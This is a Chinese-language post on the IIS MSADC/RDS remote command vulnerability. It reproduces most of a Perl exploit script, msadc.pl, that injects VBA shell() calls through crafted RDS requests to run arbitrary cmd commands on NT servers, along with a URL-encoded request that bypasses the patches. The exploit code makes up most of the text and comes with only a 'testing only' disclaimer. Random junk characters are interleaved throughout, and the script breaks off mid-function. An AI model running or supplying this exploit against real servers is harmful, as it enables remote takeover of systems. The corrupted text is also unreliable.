IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
BkB_?^Nv8 {7m2vv? Z 涉及程序:
h# 4n Microsoft NT server
{rMf/ RAE 36OQHv;& 描述:
~_JfI7={Jn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3?V'O6 `{{6vb^g 详细:
UZs '[pm) 如果你没有时间读详细内容的话,就删除:
Jkj7ty.J c:\Program Files\Common Files\System\Msadc\msadcs.dll
kl:/PM^ 有关的安全问题就没有了。
Ywhhs
}f y%%VJ}'X! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
>gzM-d [ ?7QmZK 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
:1 qLRr 关于利用ODBC远程漏洞的描述,请参看:
?1\I/'E9 3v_j*wy http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /Q@4HV .B~yI3D`M 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
B)@Xz<Q http://www.microsoft.com/security/bulletins/MS99-025faq.asp +I5\`By= uxL+oP0 这里不再论述。
QDY uJ&!h C2rG3X^~Jm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
S\N l|U[ _Kaqx"D /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
BN]o!Y 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
j7&#R+f M**Sus87Q xSN;vrLHR #将下面这段保存为txt文件,然后: "perl -x 文件名"
N~/X.D4e# E8kD#tL #!perl
IIY_Q9in #
%%X/gvaJ # MSADC/RDS 'usage' (aka exploit) script
Bv~^keuj3t #
}bw^p.ci # by rain.forest.puppy
Te}gmt+#% #
16Ka>=G # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Fu{VO~w
# beta test and find errors!
$rj:K)P 2i6=g< use Socket; use Getopt::Std;
-'miM ~kG[ getopts("e:vd:h:XR", \%args);
%_:L_VD@ )XonFI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
r&R~a9+) )R
`d x if (!defined $args{h} && !defined $args{R}) {
UUWRC1EtI print qq~
>b\|%=(x!* Usage: msadc.pl -h <host> { -d <delay> -X -v }
v0)
%S -h <host> = host you want to scan (ip or domain)
E!}'cxb^ -d <seconds> = delay between calls, default 1 second
-<x% -X = dump Index Server path table, if available
o0No"8DnjH -v = verbose
l,Q`;v5| -e = external dictionary file for step 5
31^/9lb
fIpS
P@$< Or a -R will resume a command session
+arh/pd_I
j7_,V?5z ~; exit;}
YkF LNCg4} >)Qq^?U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
66>X$nx(z if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_)vX_gCi if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
KF
*F if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
m$[:J $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_`=qc/-0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
V#,|#2otZ , Zie2I?q if (!defined $args{R}){ $ret = &has_msadc;
*j83E[(] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:1f,%Z$,q r:o9:w: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E^n!h06~G . "cmd /c ";
@dK_w'W $in=<STDIN>; chomp $in;
lW-G]V $command="cmd /c " . $in ;
A
,0}bFK 'g<{l&u if (defined $args{R}) {&load; exit;}
[r7Hcb n,2 p)#? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
:f Rta[ &try_btcustmr;
nl2Lqu1 AiR#:r print "\nStep 2: Trying to make our own DSN...";
5);"()g32 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a++gwl 4
w*m]D{ print "\nStep 3: Trying known DSNs...";
}L Q%% &known_dsn;
mgjcA5z gF9GU5T: print "\nStep 4: Trying known .mdbs...";
Se[=$W &known_mdb;
[%LGiCU] `@\FpV[|P if (defined $args{e}){
m-C#~Cp36 print "\nStep 5: Trying dictionary of DSN names...";
!4^Lv{1QZ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ye|gW=FUR ql.[Uq print "Sorry Charley...maybe next time?\n";
u7J:ipyiq2 exit;
8}[<3K%*g &VU^d3gv~ ##############################################################################
ok ,O/|E}? 0*P-/)o x sub sendraw { # ripped and modded from whisker
gmTBp}3 sleep($delay); # it's a DoS on the server! At least on mine...
]c_lNHssmq my ($pstr)=@_;
\s8h.xjU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C-49u<;, die("Socket problems\n");
gYho$E if(connect(S,pack "SnA4x8",2,80,$target)){
2 PPb select(S); $|=1;
OFv-bb*YZ print $pstr; my @in=<S>;
;X;x.pi select(STDOUT); close(S);
Z1W%fT return @in;
:1t&>x=T } else { die("Can't connect...\n"); }}
p{qA%D 8M3DG=D ##############################################################################
oVUsI,8 qe1>UfY sub make_header { # make the HTTP request
NV{= tAR my $msadc=<<EOT
Vx[Q=raS POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Z<C39s User-Agent: ACTIVEDATA
jl;N
Fk% Host: $ip
}3
~*/30V Content-Length: $clen
yhK9rcJq6} Connection: Keep-Alive
-=:tlH
n yIpgZ0:h ADCClientVersion:01.06
#Sy~t{4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
i%f
C`@ _{LmJ?! --!ADM!ROX!YOUR!WORLD!
7]5+%[Dg! Content-Type: application/x-varg
~PpU'[ Content-Length: $reqlen
!:vQg+S jfvlkE-uK EOT
|d42?7} ; $msadc=~s/\n/\r\n/g;
/HqD4GDoug return $msadc;}
.d#Hh&jj 92,@tNQQ} ##############################################################################
(ux9"r^g;x D ][I#vh sub make_req { # make the RDS request
fe6Op my ($switch, $p1, $p2)=@_;
D@{m my $req=""; my $t1, $t2, $query, $dsn;
qncZpXw^ us8ce+ if ($switch==1){ # this is the btcustmr.mdb query
H-WNu+ $query="Select * from Customers where City=" . make_shell();
l) KN5V $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
SzG
%%CXH_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(7~vOWs:[ rP6k} elsif ($switch==2){ # this is general make table query
l~f9F`~' $query="create table AZZ (B int, C varchar(10))";
rw@N=`4P $dsn="$p1";}
9)b{U2& ,pZz`B# elsif ($switch==3){ # this is general exploit table query
^^xzaF $query="select * from AZZ where C=" . make_shell();
E>QEI; $dsn="$p1";}
I2z7}*<u Vhm^<I-d elsif ($switch==4){ # attempt to hork file info from index server
)5<dmK@ $query="select path from scope()";
Vz5<Gr $dsn="Provider=MSIDXS;";}
DAN"&& u0uz~ s elsif ($switch==5){ # bad query
>NpW$P{' $query="select";
@6U&7! $dsn="$p1";}
u7p:6W 0eCjK. $t1= make_unicode($query);
v!mP9c
j $t2= make_unicode($dsn);
phwq#AxQ $req = "\x02\x00\x03\x00";
-42 U $req.= "\x08\x00" . pack ("S1", length($t1));
lvk*Db$ $req.= "\x00\x00" . $t1 ;
4uVyf^f\]f $req.= "\x08\x00" . pack ("S1", length($t2));
-x/g+T- $req.= "\x00\x00" . $t2 ;
M9yqJPS}B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
F zBny[F return $req;}
ws]d,] 6|Rj
YX ##############################################################################
w'5W L b DF_ sub make_shell { # this makes the shell() statement
YWq{?'AaR return "'|shell(\"$command\")|'";}
@zix%x sg]g;U ##############################################################################
PO2]x: r7)iNTQ1 sub make_unicode { # quick little function to convert to unicode
E?mW4? my ($in)=@_; my $out;
.e:+Ek+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0wETv return $out;}
8,m: 8HSGOs =8 ##############################################################################
F|WH=s3 %N<>3c<8P sub rdo_success { # checks for RDO return success (this is kludge)
C|ou7g4'p my (@in) = @_; my $base=content_start(@in);
\ItAc2,Fl if($in[$base]=~/multipart\/mixed/){
~1{~iB2G return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~#zb return 0;}
L\<J|87p? %cMayCaI!@ ##############################################################################
J=DD/Gp ^A;ec
h7I sub make_dsn { # this makes a DSN for us
y|.dM.9V my @drives=("c","d","e","f");
qSVg.<+ print "\nMaking DSN: ";
`,wX&@sN foreach $drive (@drives) {
l%xeM!} print "$drive: ";
klj.\wg/p{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Au?(_*/0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Qnp.Na[JV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
piiO5fK| $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_lk5\bu return 0 if $2 eq "404"; # not found/doesn't exist
|VoYFoiQ if($2 eq "200") {
Qc:Sf46O foreach $line (@results) {
a@gm r%C return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
7.v{ =UP } return 0;}
y|D-W>0cX3 `VOLw*Ci ##############################################################################
]JHY(H2| "6 sub verify_exists {
dU"C=c(w\ my ($page)=@_;
_k
W:FB my @results=sendraw("GET $page HTTP/1.0\n\n");
xJ|Z]m=d
return $results[0];}
x\(yjNZH TGPHjSZ1 ##############################################################################
7o M]qLF q/YO5>s15 sub try_btcustmr {
=0mGfTc my @drives=("c","d","e","f");
o Bp.|8- my @dirs=("winnt","winnt35","winnt351","win","windows");
5 s2/YG= e-o$bf% foreach $dir (@dirs) {
!]WC~#|{B print "$dir -> "; # fun status so you can see progress
d e~3: foreach $drive (@drives) {
:20k6 ) print "$drive: "; # ditto
A}n5dg0u $reqlen=length( make_req(1,$drive,$dir) ) - 28;
AwGDy + $reqlenlen=length( "$reqlen" );
j: B,K.: $clen= 206 + $reqlenlen + $reqlen;
2HvzMo-4 O Bp/:] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%O&C\{J if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
p$%g$K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
PYYO-Twg _:;j)J0 ##############################################################################
d`Em)3v b(gcnSzM2 sub odbc_error {
m-!z(vcn my (@in)=@_; my $base;
W.U|mNJ$ my $base = content_start(@in);
\~q cYp if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
o!t1EPJE* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vui{[" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wZUR $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3H47 vm(` return $in[$base+4].$in[$base+5].$in[$base+6];}
[ w1" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\8X8NCM print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(vf5qF^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1]XIF?_Dm c'6$`nC ##############################################################################
F1o"H/:n ?rH=< #@ sub verbose {
> 'KQL?!F my ($in)=@_;
#8jH_bi return if !$verbose;
\OXKK<^$uK print STDOUT "\n$in\n";}
}GTy{Y*& 3/hAxd ##############################################################################
0=J69Yd U_,K_6vj sub save {
&U/~*{ my ($p1, $p2, $p3, $p4)=@_;
|tS~\_O/ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?|9$o/Q} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
;w}5:3+ close OUT;}
P%Ux-0& S\UM0G}v ##############################################################################
!P26$US%P U!x\oLP sub load {
-0doL^A my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.el_pg open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Rx=pk @p=<IN>; close(IN);
MXhRnVz"W $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
B1Iq:5nmoS $target= inet_aton($ip) || die("inet_aton problems");
{N,w5!cP print "Resuming to $ip ...";
way-Q7 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
X_eV<]zA+ if($p[1]==1) {
|"Oazll $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
MPd#C*c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\:?H_^^d my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
G1'w50Yu if (rdo_success(@results)){print "Success!\n";}
a[8_O- else { print "failed\n"; verbose(odbc_error(@results));}}
br'/>Un" elsif ($p[1]==3){
2'r8#,) if(run_query("$p[3]")){
_?2xIo print "Success!\n";} else { print "failed\n"; }}
@*O(dw elsif ($p[1]==4){
2WOdTM{u if(run_query($drvst . "$p[3]")){
7iKbd print "Success!\n"; } else { print "failed\n"; }}
XfT6,h7vFL exit;}
yx }Z:t _n{6/ ##############################################################################
Cst>'g-yB }J$PO*Q@' sub create_table {
U\~[ my ($in)=@_;
OkO"t $reqlen=length( make_req(2,$in,"") ) - 28;
<`9:hPp0 $reqlenlen=length( "$reqlen" );
\rf1#Em $clen= 206 + $reqlenlen + $reqlen;
t>v']a +k my @results=sendraw(make_header() . make_req(2,$in,""));
EH$wWl^ return 1 if rdo_success(@results);
h OboM3_ my $temp= odbc_error(@results); verbose($temp);
qwaw\vOA return 1 if $temp=~/Table 'AZZ' already exists/;
4p~:(U[q return 0;}
L4;n$=e 2s6Hr;^w.1 ##############################################################################
VuZmX1x)N Ck.GN<#-^P sub known_dsn {
(|5g`JDG # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}Gz"og*8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5J&n<M0G1 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
TCF[iE{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
*qBMt[a Qzh:*O foreach $dSn (@dsns) {
95wV+ q* print ".";
%r! next if (!is_access("DSN=$dSn"));
T+4Musu{V if(create_table("DSN=$dSn")){
>)pwmIn< print "$dSn successful\n";
Gz@%UIv if(run_query("DSN=$dSn")){
\aUbBa%! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
% NS]z ;G print "Something's borked. Use verbose next time\n";}}} print "\n";}
+uwjZN'9a $9 DZ5" ##############################################################################
-RH ?FJ =C\S6bF% sub is_access {
ak;Z; my ($in)=@_;
?\#4`9 $reqlen=length( make_req(5,$in,"") ) - 28;
4'rk3nT8 $reqlenlen=length( "$reqlen" );
$C)@GGY $clen= 206 + $reqlenlen + $reqlen;
v @N8v my @results=sendraw(make_header() . make_req(5,$in,""));
"3j0) my $temp= odbc_error(@results);
G:e} >' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3 ^su%z_% return 0;}
IB*%PMTF U0N[~yW(t1 ##############################################################################
]aakEU -GKelz?h> sub run_query {
d$2{_6 my ($in)=@_;
"|Q& $reqlen=length( make_req(3,$in,"") ) - 28;
;LrKXp $reqlenlen=length( "$reqlen" );
BS|-E6E< $clen= 206 + $reqlenlen + $reqlen;
dadMwe_l0 my @results=sendraw(make_header() . make_req(3,$in,""));
w pCS]2 return 1 if rdo_success(@results);
(x$k\H my $temp= odbc_error(@results); verbose($temp);
4GHIRH
C%[ return 0;}
3P\I;xM )sS<%Xf ##############################################################################
@e0Q+ t $0W0+A$ sub known_mdb {
iGU N$ my @drives=("c","d","e","f","g");
CWN=6(y my @dirs=("winnt","winnt35","winnt351","win","windows");
(wY%$kW4 my $dir, $drive, $mdb;
7e=a D~f my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\qTn"1bQ YHRI U Yd # this is sparse, because I don't know of many
9vj:=,TNu my @sysmdbs=( "\\catroot\\icatalog.mdb",
R&alq "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4*9Dh "\\system32\\certmdb.mdb",
wRiP 5U, "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
iN{TTy u('OHPqq my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0'~b<>G% "\\cfusion\\cfapps\\forums\\forums_.mdb",
XWUTb\@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Jb$z(?S "\\cfusion\\cfapps\\security\\realm_.mdb",
P`%ppkzV6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
2E1TJ.[BS "\\cfusion\\database\\cfexamples.mdb",
=91'.c< "\\cfusion\\database\\cfsnippets.mdb",
vaxg^n|v9 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
S2s-TpjB< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
4
?c1c "\\cfusion\\brighttiger\\database\\cleam.mdb",
slmxit "\\cfusion\\database\\smpolicy.mdb",
.BUl$RW| "\\cfusion\\database\cypress.mdb",
?rK%;GTo "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=J'?>-B "\\website\\cgi-win\\dbsample.mdb",
p.\KmEx "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
C1do]1VH "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
.6;B3 ); #these are just
GB+d0 S4 foreach $drive (@drives) {
& T|-K\* foreach $dir (@dirs){
zg
j35 foreach $mdb (@sysmdbs) {
z$V8<&q print ".";
O``MUb b if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
=!c+|X` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
G_<[sMC8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~^C7(g ) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g`6wj|@ =W } else { print "Something's borked. Use verbose next time\n"; }}}}}
<Ztda ! eJA{]^Zf foreach $drive (@drives) {
&B85; foreach $mdb (@mdbs) {
ii2Z}qe print ".";
["IJh if(create_table($drv . $drive . $dir . $mdb)){
'_<`dzz print "\n" . $drive . $dir . $mdb . " successful\n";
3"hR:'ts if(run_query($drv . $drive . $dir . $mdb)){
.#eXNyCe print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
hpyre B } else { print "Something's borked. Use verbose next time\n"; }}}}
Sp )} }
(qP$I:Q4]v R
_Y&Y- ##############################################################################
5q#|sVT7R yk)j;i4@ sub hork_idx {
4Qo1f5>N print "\nAttempting to dump Index Server tables...\n";
B<&_lG0s